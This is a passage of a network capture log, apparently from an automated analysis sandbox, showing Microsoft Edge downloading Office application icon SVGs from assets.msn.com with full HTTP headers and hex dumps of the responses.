Akamai-GRN: 0.9fe70b17.1713906162.180195b7 Vary: Origin
2024-04-23 21:02:43 UTC	1548	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 32 38 61 38 65 61 3b 7d 2e 63 6c 73 2d 32 2c 2e 63 6c 73 2d 33 7b 66 69 6c 6c 2d 72 75 6c 65 3a 65 76 65 6e 6f 64 64 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 53 6b 79 70 65 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 67 20 69 64 3d 22 53 6b 79 70 65 22 3e 3c 67 20 69 64 3d 22 5f 32 34 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 32 34 22 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:none;}.cls-2{fill:#28a8ea;}.cls-2,.cls-3{fill-rule:evenodd;}.cls-3{fill:#fff;}</style></defs><title>Skype_24x</title><g id="Skype"><g id="_24" data-name="24"><rect class=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
174	192.168.2.4	49994	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:43 UTC	488	OUT	GET /staticsb/statics/latest/icons/office-icons/Sway_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:43 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: nCK+dqFoIL1aKamH3p0wXg== Last-Modified: Mon, 22 Apr 2024 19:07:14 GMT ETag: 0x8DC62FF6BBE63CD Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: a5080ecf-101e-007e-0e2f-953aa3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:43 GMT Content-Length: 1448 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402757369,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180196f9 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906163.180196f9 Vary: Origin
2024-04-23 21:02:43 UTC	1448	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 53 77 61 79 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 32 34 2c 31 37 6c 2d 39 2c 31 4c 36 2c 31 37 56 32 41 31 2c 31 2c 30 2c 30 2c 31 2c 37 2c 31 48 32 33 61 31 2c 31 2c 30 2c 30 2c 31 2c 31 2c 31 5a 22 20 66 69 6c 6c 3d 22 23 33 37 63 36 64 30 22 2f 3e 3c 63 69 72 63 6c 65 20 63 78 3d 22 31 39 2e 38 37 35 22 20 63 79 3d 22 35 2e 31 32 35 22 20 72 3d 22 31 2e 37 31 39 22 20 66 69 6c 6c 3d 22 23 38 36 66 32 66 32 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 32 34 2c 31 33 2e 33 37 34 76 36 2e 38 37 35 48 38 2e 38 37 35 4c 31 38 2e 39 2c 31 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><title>Sway_24x</title><path d="M24,17l-9,1L6,17V2A1,1,0,0,1,7,1H23a1,1,0,0,1,1,1Z" fill="#37c6d0"/><circle cx="19.875" cy="5.125" r="1.719" fill="#86f2f2"/><path d="M24,13.374v6.875H8.875L18.9,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49996	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:43 UTC	489	OUT	GET /staticsb/statics/latest/icons/office-icons/Teams_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:43 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: HaKgiG08YWpiQrHySam9zg== Last-Modified: Mon, 22 Apr 2024 19:06:46 GMT ETag: 0x8DC62FF5AEC88F2 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 9a2cf77e-801e-007f-0628-9511a1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:43 GMT Content-Length: 1344 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402757655,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019817 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906163.18019817 Vary: Origin
2024-04-23 21:02:43 UTC	1344	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 6f 70 61 63 69 74 79 3a 30 2e 31 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 35 30 35 39 63 39 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 37 62 38 33 65 62 3b 7d 2e 63 6c 73 2d 35 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c 73 2d 36 7b 66 69 6c 6c 3a 23 34 62 35 33 62 63 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 54 65 61 6d 73 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 67 20 69 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{opacity:0.1;}.cls-2{fill:none;}.cls-3{fill:#5059c9;}.cls-4{fill:#7b83eb;}.cls-5{opacity:0.5;}.cls-6{fill:#4b53bc;}.cls-7{fill:#fff;}</style></defs><title>Teams_24x</title><g i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	49997	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:44 UTC	489	OUT	GET /staticsb/statics/latest/icons/office-icons/Visio_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:44 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: xHW4xbDJ4vgRfvdNTWFUKw== Last-Modified: Tue, 23 Apr 2024 08:42:23 GMT ETag: 0x8DC63714BCEB0F5 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: c51e01af-101e-007e-4e65-953aa3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:44 GMT Content-Length: 1308 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402757940,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019934 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906164.18019934 Vary: Origin
2024-04-23 21:02:44 UTC	1308	IN	Data Raw: 3c 73 76 67 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 4c 61 79 65 72 20 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 23 32 62 37 63 64 33 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 34 31 61 35 65 65 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 31 30 33 66 39 31 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 35 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c 73 2d 36 7b 66 69 6c 6c 3a 23 31 38 35 61 62 64 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c Data Ascii: <svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#2b7cd3;}.cls-2{fill:#41a5ee;}.cls-3{fill:#103f91;}.cls-4{fill:none;}.cls-5{opacity:0.5;}.cls-6{fill:#185abd;}.cls-7{fill:#fff;}</style><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49999	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:44 UTC	488	OUT	GET /staticsb/statics/latest/icons/office-icons/Word_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:44 UTC	1129	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: IfiGtZz4B65YGEWP+ozs1A== Last-Modified: Mon, 22 Apr 2024 19:07:04 GMT ETag: 0x8DC62FF65C91E35 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 7aa913ba-901e-00f2-5c16-9599ef000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:44 GMT Content-Length: 977 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402758177,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019a21 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906164.18019a21 Vary: Origin
2024-04-23 21:02:44 UTC	977	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 34 31 61 35 65 65 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 32 62 37 63 64 33 3b 7d 2e 63 6c 73 2d 34 7b 66 69 6c 6c 3a 23 31 38 35 61 62 64 3b 7d 2e 63 6c 73 2d 35 7b 66 69 6c 6c 3a 23 31 30 33 66 39 31 3b 7d 2e 63 6c 73 2d 36 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c 73 2d 37 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 57 6f 72 64 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 67 20 69 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:none;}.cls-2{fill:#41a5ee;}.cls-3{fill:#2b7cd3;}.cls-4{fill:#185abd;}.cls-5{fill:#103f91;}.cls-6{opacity:0.5;}.cls-7{fill:#fff;}</style></defs><title>Word_24x</title><g i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	50000	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:45 UTC	490	OUT	GET /staticsb/statics/latest/icons/office-icons/Engage_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:45 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: rklVqqgzYW0ez+fSTYe+UA== Last-Modified: Mon, 22 Apr 2024 19:07:02 GMT ETag: 0x8DC62FF649491C4 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 0a976124-501e-0012-3e2c-958c98000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:45 GMT Content-Length: 2262 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402758477,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019b4d Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906165.18019b4d Vary: Origin
2024-04-23 21:02:45 UTC	2262	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 31 34 20 34 43 31 39 2e 35 32 32 38 20 34 20 32 34 20 38 2e 34 37 37 31 35 20 32 34 20 31 34 4c 32 34 20 32 37 48 34 4c 34 20 31 34 43 34 20 38 2e 34 37 37 31 35 20 38 2e 34 37 37 31 35 20 34 20 31 34 20 34 5a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 5f 31 39 37 37 5f 34 30 37 31 38 33 29 22 2f 3e 0d 0a 3c 70 61 74 68 20 64 3d 22 4d 33 34 20 34 43 32 38 2e 34 37 37 32 20 34 20 32 34 20 38 2e 34 37 37 31 Data Ascii: <svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M14 4C19.5228 4 24 8.47715 24 14L24 27H4L4 14C4 8.47715 8.47715 4 14 4Z" fill="url(#paint0_linear_1977_407183)"/><path d="M34 4C28.4772 4 24 8.4771

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	50001	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:45 UTC	490	OUT	GET /staticsb/statics/latest/icons/office-icons/Yammer_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:45 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: oGtAIsva4kEOCsyk4IfUYA== Last-Modified: Tue, 23 Apr 2024 10:16:17 GMT ETag: 0x8DC637E6A08C049 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 68972719-301e-00c4-5f72-9542f2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:45 GMT Content-Length: 1649 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402758758,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019c66 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906165.18019c66 Vary: Origin
2024-04-23 21:02:45 UTC	1649	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 63 6c 73 2d 31 7b 66 69 6c 6c 3a 23 32 38 61 38 65 61 3b 7d 2e 63 6c 73 2d 32 7b 66 69 6c 6c 3a 23 30 30 37 38 64 34 3b 7d 2e 63 6c 73 2d 33 7b 66 69 6c 6c 3a 23 30 33 35 38 61 37 3b 7d 2e 63 6c 73 2d 34 7b 6f 70 61 63 69 74 79 3a 30 2e 35 3b 7d 2e 63 6c 73 2d 35 7b 66 69 6c 6c 3a 23 66 66 66 3b 7d 2e 63 6c 73 2d 36 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 74 69 74 6c 65 3e 59 61 6d 6d 65 72 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 67 20 69 64 3d 22 59 61 6d 6d 65 72 22 3e 3c 67 20 69 64 3d 22 5f Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><defs><style>.cls-1{fill:#28a8ea;}.cls-2{fill:#0078d4;}.cls-3{fill:#0358a7;}.cls-4{opacity:0.5;}.cls-5{fill:#fff;}.cls-6{fill:none;}</style></defs><title>Yammer_24x</title><g id="Yammer"><g id="_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.4	50003	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:46 UTC	492	OUT	GET /staticsb/statics/latest/icons/office-icons/Calendar_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:46 UTC	1129	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: EC+eMdhbYzXyhraFDaM/Sg== Last-Modified: Mon, 22 Apr 2024 19:07:11 GMT ETag: 0x8DC62FF6A3255EE Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f7e580c0-f01e-0070-13fe-9498be000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:46 GMT Content-Length: 824 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402759060,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019d94 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906166.18019d94 Vary: Origin
2024-04-23 21:02:46 UTC	824	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 4f 75 74 6c 6f 6f 6b 43 61 6c 65 6e 64 61 72 5f 32 34 78 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 2c 31 36 48 39 61 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 76 37 61 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 48 32 61 31 2c 31 2c 30 2c 30 2c 31 2d 31 2d 31 56 31 36 61 30 2c 30 2c 30 2c 30 2c 31 2c 30 2c 30 5a 22 20 66 69 6c 6c 3d 22 23 30 36 34 61 38 63 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 32 33 2c 36 48 31 56 32 2e 31 34 33 41 31 2e 31 2c 31 2e 31 2c 30 2c 30 2c 31 2c 32 2e 30 34 38 2c 31 68 31 39 2e 39 41 31 2e 31 2c 31 2e 31 2c 30 2c 30 2c 31 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><title>OutlookCalendar_24x</title><path d="M1,16H9a0,0,0,0,1,0,0v7a0,0,0,0,1,0,0H2a1,1,0,0,1-1-1V16a0,0,0,0,1,0,0Z" fill="#064a8c"/><path d="M23,6H1V2.143A1.1,1.1,0,0,1,2.048,1h19.9A1.1,1.1,0,0,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.4	50005	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:46 UTC	488	OUT	GET /staticsb/statics/latest/icons/office-icons/ToDo_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:46 UTC	1129	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: 78vu5r74sW/OvzF0M12Ruw== Last-Modified: Mon, 22 Apr 2024 19:06:48 GMT ETag: 0x8DC62FF5C829DAB Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 15c6d4e7-101e-0102-401d-956366000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:46 GMT Content-Length: 508 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402759308,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=1, origin; dur=0 , cdntime; dur=1 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18019e8c Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906166.18019e8c Vary: Origin
